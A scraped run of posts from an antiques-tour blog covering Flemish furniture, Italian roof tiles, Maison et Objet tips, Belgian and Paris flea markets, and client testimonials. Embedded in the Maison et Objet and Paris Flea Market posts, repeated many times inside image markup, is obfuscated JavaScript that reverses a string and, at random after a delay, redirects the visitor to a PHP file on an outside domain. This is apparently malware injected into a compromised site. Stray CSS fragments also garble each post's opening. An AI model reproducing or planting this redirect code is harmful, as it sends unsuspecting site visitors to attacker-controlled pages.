Flemish Antiques
Dear Diva Readers,
top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>Though it is a tiny country, Belgium is bursting with antiques from all over. In fact I sometimes wonder what the per capita antique dealer is when compared with the total population of residents? We are constantly taking clients on Antiques Diva tours throughout Belgium and also offering Antiques Diva Buying Services through many of our sources there. And while French finds and gorgeous Swedish pieces are found in abundance in Belgium – alongside a slew of bric-a-brac – one type of furniture original to the area is the dark, heavy oak 17th C Flemish antiques. Often seen as stuffy when paired in matchy-matchy sets, these pieces are making a massive comeback when paired with modern interiors, clean spaces and abstract art.
With a checkered history The Low Countries – what is today both Belgium and The Netherlands – were once part of Spain, France and Austria. Today when we talk about Flanders it’s the Dutch-speaking, mostly northern portion of Belgium. Incidentally, do you know what French-speaking Belgium is called? 10 points if you get this one! Give up? It’s Wallonia!! Now Belgium with its varied historical past was influenced by the whole of Europe in its furniture design – the region had a reputation for tolerance which meant refugees fleeing religious persecution settled here, bringing with them their own crafts and customs. Which means if you want Spanish Colonial Antiques? Well… 17th C Flemish Antiques can fit that bill as many of the craftsmen making furniture in Belgium at that time were Spanish refugees and the craftsmanship is quite similar.
During the 17th century, Flemish furniture had its hey-day. It was exported to England where you will still today find country houses heaving with Flemish pieces. They’re typically made of oak and have a rather heavy appearance. However a distinguishing feature of Flemish furniture is a plethora of elaborate carvings. The juxtaposition of the heaviness of the pieces and the intricate carvings makes Flemish furniture quite unique. A great way to introduce this into your home with out adding too much weight is with a mirror such as this one found on 1st dibs! The carving is positively architectural – it’s a great example of what the Flemish were doing in the 17th C.
Or what about this trunk from Online Galleries? Imagine it paired with a clean linen covered sofa – wouldn’t the inlay and carving pop – if paired with something simple to counter balance it?
Another prominent feature of the Flemish style is the Flemish scroll, an S or C curved ornamental form in which a scroll is broken by an angle. You may also find what is called a Flemish foot which is a scroll-like ending to an S or C curved leg. This Flemish scroll was not only used in Flemish Renaissance furniture, but also can be found in the English Charles I & II and William and Mary styles.
Flip through the pages of any shelter magazine and you are bound to see Flemish antiques or, at the very least, their influence. Here lately, in both Architectural Digest and Veranda, I’ve spotted a few! This 17th C Flemish Table up for sale at Christie’s recently has Axel Vervoordt written all over it. Can’t you see this pair with some luscious Belgian linen covered chairs and religious candelabras? By the way – ever wonder WHY there were often balls midway up on the legs of antique tables? To keep the mice from running up them!
Flemish chairs often with leather seats look wonderful flanking a console table.
Flemish style sideboards and cabinets make fantastic bars in today’s homes and offer hidden storage behind their intricately carved paneled doors. Even small Flemish boxes have become popular again as decorative objects.
Whether you fill a room in a historic home or simply use one piece of heavy Flemish furniture to ground a more modern space, the Flemish style definitely adds character and interest with its various carvings and its unique attributes. If you’d like information on taking an Antiques Diva tour or wish to inquire about our Buying Services, email us at to:info@antiquesdiva.com”>info@antiquesdiva.com.
Until next time,
The Antiques Diva®
P.S. Here’s a few period examples of museum quality pieces to help educate your eye! Photos from: http://museumfurniture.net/flemish/
Italian Roof Tiles
Dear Diva Readers,
top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>Whenever a potential client inquires about taking an Antiques Diva Buying Tour, one of the first things I do is ask them what they are looking for. One of the most common responses I get is, “Architectural salvage.” Whether people want to resell it, use it in their own home or source it for client projects, architectural salvage remains one of the hottest categories on people’s lists.
After taking an Antiques Diva Tour in Italy, a design client wanted more information on Italian roof tiles she’d seen while shopping under the Tuscan sun. Our Diva Guide in Tuscany, Susan, definitely knows her stuff when it comes to reclaimed rural Italian architecture. Susan’s experience with antiques as well as rehabbing Italian homes and buildings makes her our go-to gal when clients have questions about architectural salvage. This particular client wanted to use antique Italian roof tiles for a building project in America. Her main concern was whether they would be able to withstand the freezing colder climates. She also wanted to know if there was only one style of tile or if she had options from which to choose.
Susan explained that the antique tiles our client had seen on tour were the curved terra-cotta ROOF tiles, which are referred to as “coppi”. However tiles can be found in various sizes. The traditional Tuscan ones are smaller, made of a more compact clay and are paired with a wider lipped flat tile known as “Tegole” to cover the roof.
The larger curved tiles which cup each other are MORE COMMONLY used in warmer areas of Italy and are made of more porous clay, which means they probably won’t stand up to extremely cold temperatures. In some regions of Italy smaller curved tiles are laid on flat tiles. There is also another tile similar in appearance… but a litter wider which means here are two different sizes of the curved tiles which are used in different parts of the roof. The larger tiles go on the ridges of the roof – though sometimes the flat tegole are used.
Each region, just as in its cuisine, has a slightly different method of laying tiles and therefore uses slightly different sizes of tile as well. It all depends upon the style of architecture in that region and the gradient of the roof changes, which is often dictated by the climate of that particular area. Another thing to take into account is the color of the tiles which varies depending on the earth elements in the region in which they were made.
Who knew there were so many elements to Italian roof tiles?! While style and color are important factors, it’s even more crucial to know whether they will hold up in certain climates. It’s also just as important to hire the right contractors who will use the proper materials and installation methods to ensure a satisfactory outcome.
If you’d like information on taking an Antiques Diva Buying Tour, email us at to:info@antiquesdiva.com”>info@antiquesdiva.com. We’d love to help you source antiques for your projects large and small!
The Antiques Diva® & Co – Thanks La Dolce Diva Susan for sharing your knowledge!
Maison et Objet
Dear Diva Readers,
top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>I’ve just finished a fantastic Antiques Diva Tour in Paris! While there, we attended Maison et Objet which is a summit for all things design. I was there with Lori Lassen of At Home Berlin who sells high-end real estate for private clients and investors in Berlin often with complete fitouts and interiors. I was also accompanied by Christian Lemke and Justyna Walzcak of Re-Vamp.de which provides interior design solutions working with developers, owners and investors. Before leaving Berlin, I gave them all a few tips on making our arrival at Maison seamless. I think it would be helpful for anyone attending this show for the first time so I thought I’d share my tips on the blog!
$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to get to Maison Objet, Toma Clark Haines, Antiques Diva Tours, ” width=”600″ height=”804″ />
$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to get to Maison Objet, Toma Clark Haines, Antiques Diva Tours, ” width=”600″ height=”776″ />First things first, be sure to buy your passes for Maison Objet before attending the fair. If you print your badges at home and bring them with you, you can avoid the long lines at the fair! You can find all necessary information at Maison Objet.
$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to get to Maison Objet, Toma Clark Haines, Antiques Diva Tours, ” width=”600″ height=”798″ />
$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to get to Maison Objet, Toma Clark Haines, Antiques Diva Tours, ” width=”601″ height=”968″ />Upon landing in Paris, there is a free shuttle that goes to Villepinte (Maison Objet) from all 3 terminals at Paris Charles de Gaulle airport every 30 minutes from 8:30 AM to 11:30 AM. Once you arrive at Maison, you can leave your luggage at the Salon in the cloakroom for about 3 or 4 Euro a piece—well worth it! Then all you need to do is shop shop shop! From Maison Objet there are free buses that run to Porte Maillot Direct. A taxi will cost about 50 Euro so the free shuttle service provided by the fair is a good option.
$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to get to Maison Objet, Toma Clark Haines, Antiques Diva Tours, ” width=”600″ height=”801″ />
$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to get to Maison Objet, Toma Clark Haines, Antiques Diva Tours, ” width=”600″ height=”801″ />Try not to be overwhelmed when shopping the fair. “What Disneyland is to kids, Maison Objet is to interior designers,” says Christian Lemke of Re-vamp.de. “Whenever you thought you’ve seen it all, Maison Objet guarantees to prove you wrong. There are always new amazing brands, designs, and ideas to discover,” echoes Justyna Walczak of Re-vamp.de.
$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to get to Maison Objet, Toma Clark Haines, Antiques Diva Tours, ” width=”600″ height=”448″ /> 
$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to get to Maison Objet, Toma Clark Haines, Antiques Diva Tours, ” width=”599″ height=”445″ />
$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to get to Maison Objet, Toma Clark Haines, Antiques Diva Tours, ” width=”600″ height=”798″ />After attending day 1 of the fair, Lori says, “I’ve traveled and shopped the world and seen design around the globe, but here at Maison Objet it was as if the world came to me. The frustration of global shopping is ‘how do I get it home?’ but with The Antiques Diva & Co I found the solution.” And in fact, these three have some tips to offer first time attendees.
TIPS from Lori, Toma, Jusytna and Christian:
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$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to get to Maison Objet, Toma Clark Haines, Antiques Diva Tours, ” width=”600″ height=”800″ />Any time you attend a design show or center, it should be fun. But that doesn’t mean that it’s not a lot of work! By keeping everything in balance and remembering a few key tips about being prepared, you are on the right path to having a successful shopping trip! See you at Maison Objet this coming January!
Ciao,
The Antiques Diva®
Muddy Boot Review
Dear Diva Readers,
top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>Many of our clients are what we call “trade clients,” meaning they are either antique store owners who want to stock their stores or they are interior designers who are looking to source antiques for client projects – we even get hoteliers, restauranteurs and developers. Some trade clients own huge stores covering tens of thousands of square feet and count on us to maximize their time in Europe so they can buy enough to fill a container (or two!) in just a few days. Other clients own smaller stores and are looking for the perfect pieces to add to their inventory that will help set their shop apart from others. Either way, our Diva Guides love taking trade clients on tour to our many European sources! I had the privilege recently of taking Lorie Combias, owner of The Muddy Boot, Antiques & Objects, on a buying tour in Belgium. We had such fun and Lorie was able to purchase some special pieces for her Summit, New Jersey store while also coming away with fond memories of a successful European buying trip! After returning to the States, she wrote us the most lovely note, and, with her permission, I’m sharing it today on the blog.
Lorie writes:
My entire experience in Belgium with The Antiques Diva & Co was so unforgettable that I don’t even know where to begin…. This was more than just a shopping trip but truly an adventure into the Belgium antiques world. I own a small antiques shop in Summit NJ. When Toma Clark Haines – owner of AD&CO – said she would be taking me to dealers’ homes and warehouses I have to admit I was afraid the dealers would not want to be bothered with a small operation such as mine. I could not have been more wrong. The Antiques Diva & Co is so respected that any client of theirs is given preferential treatment. I was welcomed everywhere AD&CO took me and all of the dealers treated me with kindness. Toma has made connections in the antique world that one could only imagine to hope having – we even visited a private castle and had wine and great conversation with the owner/dealer and his son after buying antiques from the castle. Not only does Toma know Belgium’s antique world she knows the countryside as well and personally drove me all over Belgium. Even more, Toma did her homework too. She had me – and my interior design style – pegged from the few photos I sent her showing my aesthetic. Everywhere she took me I basically had to gasp for air because I could have bought everything in each and every store.
Thank you Antiques Diva for an experience I will never forget! I can’t wait to do it again.
Lorie Combias
The Muddy Boot, Antiques & Objects.
I love this note so much because it goes to show that even if you don’t have a huge store, our vendors don’t put pressure on you to buy tons and tons of items from them. They want you to be satisfied with your purchases and want you to be able to sell them too. They rest assured with the knowledge that I or my Diva Guides will be bringing more clients back very soon, so they are sure to sell pieces on a consistent basis. It’s a win/win situation for both our clients and our vendor sources. And of course we get to be the liaison between these two worlds, and that certainly is a winning spot in my book!
If you would like information on taking an Antiques Diva Buying Tour in any of our 8 tour countries—Belgium, France, Italy, Sweden, England, Germany, The Netherlands, and Denmark— email us at to:info@antiquesdiva.com”>info@antiquesdiva.com.
Until next time, Happy Shopping!
The Antiques Diva®
Join Me at Las Vegas Market
Dear Diva Readers,
top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>In honor of Bastille Day today I’ve got Paris on the mind… While that’s usually Paris, France today it’s the Paris Hotel in Las Vegas! I’m just booking flights today to go to Las Vegas Market where I’m delighted to announce I’ll be headlining in Vegas along with a great line-up of interior design-oriented events.
On Monday, August 3rd you don’t want to miss a dynamic panel discussion that I’ll be taking part in called The Secret Life of Antiques. Have you ever seen beautiful antiques on the covers of shelter magazines and wondered where they came from or how they ended up there? Have you found yourself pining after a stunning antique in a favorite showroom? Our panel is here to uncover the past of these pristine pieces and show you how they’re being reinvented and revitalized for the future. Joining me are fellow panelists Melissa Mittag of Fromental and Justin Shaulis with Heather Viera as moderator. We’ll be divulging secrets of how antiques and vintage items are sourced, how the interior design industry is making them relevant, and how they are ending up in popular design publications.
Join us from 11:30am-12:30pm in Building C, Surya Seminar Room C174 for what’s sure to be a fun and informative panel.
And because a Diva’s work is never done, at 1:00 pm I’ll be leading an Antiques Diva Curated Tour of Discoveries of The Antique Vintage Marketplace, which is housed in Las Vegas Market’s new temporary venue, The Pavilions. I’ll be showing you my favorite one-of-a-kind finds – from national and international exhibitors – jewelry, home décor, furnishings, clothing, pottery, porcelain and more. Many new exhibitors will be showcasing their wares and the inventory changes daily. Lots of surprises and inspiration are in store for this tour! The good news is that items will be available for immediate purchase and we will have an onsite shipping company ready to send your purchases directly home from Market.
These are just 2 of the events I’ll be taking part in – stay tuned for details on the Grand Opening Party & Ceremony for Discoveries – Las Vegas Market’s new antique center!!
Las Vegas Market is always an exciting time filled with parties, showroom specials, product debuts, and informational seminars. For more information on the events of this market, click here. Do let me know if you’ll be attending either of my events. I’d love to see you in Las Vegas!
Until then,
The Antiques Diva®
Antiques and Flea Markets in Belgium
Dear Diva Readers,
top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>When most people think of antiquing in Europe, they envision strolling through the Paris Flea Market or shopping the French countryside. Some fantasize about unearthing treasures in Italy, ambling down antique filled lanes in England or finding the perfect painted piece in Sweden. We help clients antique in all of these scenarios, however there is one teeny tiny country in Europe that those not “in the know” tend to forget. Belgium is Europe’s best kept secret. I’ve said it for years… Belgium is a girl’s best friend! For a country barely the size of Maryland, it’s positively chock full of treasures that delight from chocolate to fashion and a diamonds… and antiques. Per capita there are more antique dealers in Belgium than practically any other country in Europe, making it an ideal country to take an Antiques Buying Tour!
When taking clients on buying tours in Belgium, we typically stay somewhere central – often basing ourselves in Antwerp – and from there proceed to cover the entire country in about 3 or 4 days. If you drive an hour in any direction from Antwerp you find yourself crisscrossing the country from north to south, dipping into both Holland and France and working your way towards the German border. Each day on tour we shop a variety of places – from small antique shops to large over-the-top warehouses. The next day we’ll take clients to specific dealers hand-picked for them, often meeting the dealers at their own homes, in private residences and shops that aren’t really shops, but storage units opened only on appointment. Our third day on tour in Belgium tends to be ALL about the flea markets. For those really motivated we wake early and pillage Waterloo… but my favorite Belgium Flea Market after all these years is still the Tongeren Flea Market, which literally takes over the entire town center each Sunday of the year snow, rain or shine. On a Belgium Buying Tour our clients have usually spent the first two days of their tour buying furniture and special art pieces so the flea market day is typically all about the smalls, which when shipped are essentially shipped for FREE as they are packed inside the drawers and cupboards they’ve already purchased – this maximizes client’s shipping costs!
Tongeren Flea Market has several sections. As I always I have a plan of attack, I always begin at the stalls which line the Leopoldwal – the street opposite the old Roman wall. Here we have a few favorite dealers who consistently have excellent inventory – one of my favorite is the gorgeous blond couple with antique ironstone at incredible prices. From porcelain to chandeliers and French manequins – some of my favorite vendors set up here. Next up you have a choice – you can wrap back around towards the town square – the Veemarkt. The market weaves it’s way around several streets – from the Maastrichterstraat, de Schiervelstraat, Clarissenstraat, and Eburonenhal. But after the Leopoldwal shopping along the Roman Wall my second and third favorite spots to shop are the two indoor sections – in the Sports Hall and inside the Parking Garage. Here you’ll find everything from linens to crystal to furniture. Clients find all sorts of things such as wooden cheese boards, antique coffee grinders, mirrors, iron stone pieces, sculpture, and much more. I think the better quality inventory tends to be found inside these 2 halls.
It’s always such fun to see favorite dealers that we’ve been buying from for years. A shopping tour at Tongeren involves running into old friends – from vendors to other dealers we know. The great thing for our clients is that we have good relationships with these dealers, which means they not only give our clients the best prices they can but they also give a fun shopping experience for our clients – inviting our clients into their stalls as long-term friends rather than another tourist passing through for a day. In town – and in the area nearby – we have a slew of dealers we adore who have permanent shops where we stop of a glass of champagne or a coffee and cookies!
For anyone who loves flea marketing, Tongeren should definitely be on your list! if you’d like more information on taking an Antiques Diva Buying Tour in Belgium, email us at to:info@antiquesdiva.com”>info@antiquesdiva.com. We’d love to show you our version of this small-but-amazing country!
The Antiques Diva®
AYG Award Party in London
Dear Diva Readers,
top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>Everyone knows that The Antiques Diva® loves a good party. But couple that with an entire party devoted to the world of antiques – filled with the movers and shakers of the antiques world – and I am in my element! I, along with my UK Antiques Diva Agent Gail McLeod and our behind the scenes Creative Guy Andrew Skipper, were recently in London to attend an evening to celebrate the Antiques Heavy Artillery Mentors of Antiques Young Guns at Olympia International Art & Antiques Fair. The party, which was held in the Club Room, was sponsored not only by The Antiques Diva® & Co but also more importantly by BADA, LAPADA, and, of course, Olympia International Art & Antiques Fair.
Attending the party was a myriad of antiques trade professionals and journalists. We spent the evening mixing and mingling, champagne in hand of course! When it was time for the awards ceremony, I was so pleased to present the award for Most Innovative Mentor to my friend and renowned antiques dealer, Spencer Swaffer. He gave space in his own store for a pop-up shop to his mentoree Paul Jones during the busiest week of the year. The overall winner of the Heavy Artillery Mentor Program went to Robert Young who could not attend the party, so it was accepted by the Young Gun whom he mentored which happens to be our very own Swedish Divo Guide, Daniel Larsson.
Following the reception, everyone gathered at a fabulous new restaurant at Vauxhall called Counter. As well as being a well-known expert on the BBC Antiques Roadshow, Mark is also one of the co-founders of Antiques Young Guns along with Gail McLeod and George Johnson. Drinks, dinner, and lots of conversation ensued until the wee hours of the morning. A Diva’s work is never done!
Huge congratulations to Gail Mcleod who worked tirelessly to put this evening together, all while taking VIP clients on tour during the same week as this monumental event in the antiques industry. They say that if you want something done, ask a busy person… well, Gail certainly knows how to get things done! Looking forward to seeing Antiques Young Guns grow in the coming year and can’t wait for the next party!
The Antiques Diva®
JVR108 Inventory
Dear Diva Readers,
top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>At my home in Berlin, I have a stack of coffee table books in my living room which I love to peruse when I have down time. At the top of the stack is a favorite, “Houses of Veranda”, which always gives me drool-worthy inspiration. Imagine my excitement when one of our Antiques Diva sources, owners of JVR108, contacted me and told me they were opening an antiques showroom adjacent to their boutique hotel in Antwerp, and that the inaugural inventory includes the very console table which graces the front cover of “Houses of Veranda!” I felt like I had died and gone to… Diva Heaven!
Philip and Frederick have purchased several pieces from the renowned Chateau Rozenhout which was decorated by Axel Vervoordt and Brigitte Garner. The inventory is so top secret that it hasn’t even been announced yet! In fact, the guys are in the process of designing their showroom so the furniture is in a storage unit at the moment. But that doesn’t stop The Antiques Diva! While recently touring with trade clients, we had the opportunity to shop the storage unit, filled with exquisite pieces in this private warehouse. It’s so thrilling when we’re able to find pieces with perfect pedigree like this and make them accessible at amazing trade prices to our clients.
Of course, after shopping the storage unit, we went back to the hotel and the boys of JVR108 had a private chef prepare a 5 course dinner for us—A Diva’s work is never done! If you’d like information on these pieces, contact us at to:info@antiquesdiva.com”>info@antiquesdiva.com. And don’t forget, when you’re in the Antwerp area, stay at JVR108 for an top-notch experience. And tell them The Antiques Diva sent you to make sure you get SPECIAL BEHIND THE SCENES ACCESS not available otherwise!!
Bonne Shopping!
The Antiques Diva®
How to Find the Paris Flea Market
Dear Diva Readers,
top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>One of our most popular antique buying tours is our Paris Flea Market Tour! While most people have heard of this magical wonderland… you’d be surprised at the number of people who have TRIED to visit this famous flea market Les Puce de Paris but couldn’t actually find their way! I receive emails from blog readers saying… “I went to the Paris Flea Market… But all I saw was a shabby little market with t-shirt vendors, and suitcases, stolen watches and designer fakes!! What did I do wrong? Where is the Paris Flea Market of my dreams?! The one you see in all the magazines!!”
$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tor at Large, Antique gilted picture frames” width=”600″ height=”600″ />It is always difficult trying to navigate a foreign city, but Les Puces can be tricky to find.
As the only official tour guides of Paris Flea Market Paul Bert Serpette, here are The Antiques Diva’s tips on how to find the Paris Flea Market.
How to Find the Paris Flea Market
First off – the area surrounding the Puce is always a surprise! It’s located in what I call “the armpit of Paris”—the northernmost area of the city near the Porte de Clignancourt. This is the type of neighborhood that makes you want to watch your wallet and hold your purse close! It’s a pick-pocket’s haven so BE CAUTIOUS. My go-to technique when meandering in an area is to wear dark shades and avoid eye contact with the humanity. Oh and yes, when I pop out of the flea market the first thing I always think is… “Oh the Humanity!” Don’t let this dissuade you – you just need to push past the populous.
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To get to the flea market, take the metro line 4 from anywhere in the city to the end of the line and get off at the stop Porte de Clignancourt. There will be signs that point to Puces de Paris in the metro station so go ahead and follow those. When you come up to the street exit, you’ll see on the opposite side of the road a small market set up—the kind that sells sunglasses, fake designer bags, t-shirts and even stolen cell phones. Don’t be fooled—this is NOT Les Puces! Most people go wrong at this point and give up, thinking that the Paris flea market of their dreams doesn’t exist.
$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tor at Large, ” width=”600″ height=”450″ />
$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tor at Large, ” width=”600″ height=”400″ />
$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tor at Large, ” width=”384″ height=”514″ />What you need to do at this point is walk down Avenue Michelet and go past the overpass which is the highway periferique (it circles Paris). Turn left when you see Rue des Rosiers. Once you’ve arrived at the corner of these two streets. you’ve officially made it to the Paris Flea Market! When you get there, you’ll find 15 miles of antique filled alleyways, so it can be a bit overwhelming. Where do you go? What sections specialize in what styles? How do you get your purchases home? That’s where we come in. Our Diva Guides will take you to the best spots in this vast flea market, all the while translating and negotiating on your behalf. They’ll even help liaise you with your preferred shipper.
$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tor at Large, ” width=”599″ height=”272″ />If you happen to be going on your own, however, I’ll give you my three favorite areas of Les Puces. The first is Marche Vernaison which will be on the right as you enter Les Puces. This market has smalls and perfectly packables which are attractively priced. You can find good jewelry, small paintings, hotel silver, porcelain, and other tabletop items. The second area I love is Marche Paul Bert which is best described as the Paris flea market you’ve always dreamed of shopping! It’s what you see in photos when you google Les Puces and it is where the magic happens. A mix of furniture, decorative antiques, industrial items and much more is all set up in proper shops rather than tents. It’s styled and romantic—just what you imagine Paris to be. Lastly, be sure to visit Marche Serpette which is connected to Paul Bert as the covered section of the market and perfect should a rainy day make you need to run inside for shelter!
At my famous annual party in Paris during Maison Objet with a team from IFDA
So there you have it! Don’t get detoured when trying to find the Paris Flea Market. Use this guide and if you want a seamless experience, email us at to:info@antiquesdiva.com”>info@antiquesdiva.com to book a tour of this world famous treasure! While you can always shop the market on your own… we save you time and money by shopping with us! You tell us what you want and we plan your day to get you directly to the areas of the market where you’re most likely to find what you’re looking for! And then we negotiate – getting way bigger discounts as locals who are seen shopping the market every weekend of the year – than you as a tourist would get. And then we liaise you with an international shipper to help you get your goods home sweet home across the pond!!
Want more of the Paris Flea Market!?? Watch me on Editor at Large TV here (toratlarge.com/editortv/a-tour-of-le-marche-aux-puces-with-the-antiques-diva-part-ii/279″ target=”_blank”>part 1) and (toratlarge.com/editortv/a-tour-of-le-marche-aux-puces-with-the-antiques-diva-part-iii/278″ target=”_blank”>part 2) here.
Bonne Shopping!
The Antiques Diva®
Quintessence and Stylish Shopping By Susanna Salk Take an Antiques Diva Tour
Dear Diva Readers,
top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>As an antiques & design blogger myself I’m often asked what design blogs I read… and one of my favorite is Stacey Bewkes’ Quintessence Blog. From art and architecture, interiors and design, fashion and jewelry to books and movies, food and wine, travel and more, Quintessence has become a trusted source for well-researched, original content in the online world. I love that she takes us behind the scenes to some of the world’s most gorgeous properties and gives us a peek into some of the very best shops all over the globe. We get to tag along as she attends exclusive events, meets design icons and tastemakers and connects the dots to bring you the story behind the style. In addition to blogging, Stacey was revolutionary in the blogosphere when she teamed up with Susanna Salk to produce and edit one of the best design video series.
Imagine my excitement when these two dynamic women confirmed that they wanted to take an Antiques Diva Tour of Mercanteinfiera with me! I couldn’t wait to get these ladies to Italy and show them the ropes of navigating Italy’s largest antiques fair which takes place twice a year in Parma. With over one thousand vendors and several buildings, it can be tricky to weave your way through the thousands of international shoppers – but don’t worry, we know the fair and its vendors like the back of our hand!
Once we started shopping, I could see why these two women are known as international tastemakers. Their eyes are trained and I watched as they gravitated toward piece after gorgeous piece! Some of their favorite finds were a large mirror, a stately lion statue, a rustic armoire, architectural ornaments, and a pair of oversized urns. They also pointed out that attending fairs like Mercanteinfiera is a great way to get styling ideas as the exhibitors create interesting displays. I couldn’t agree more!
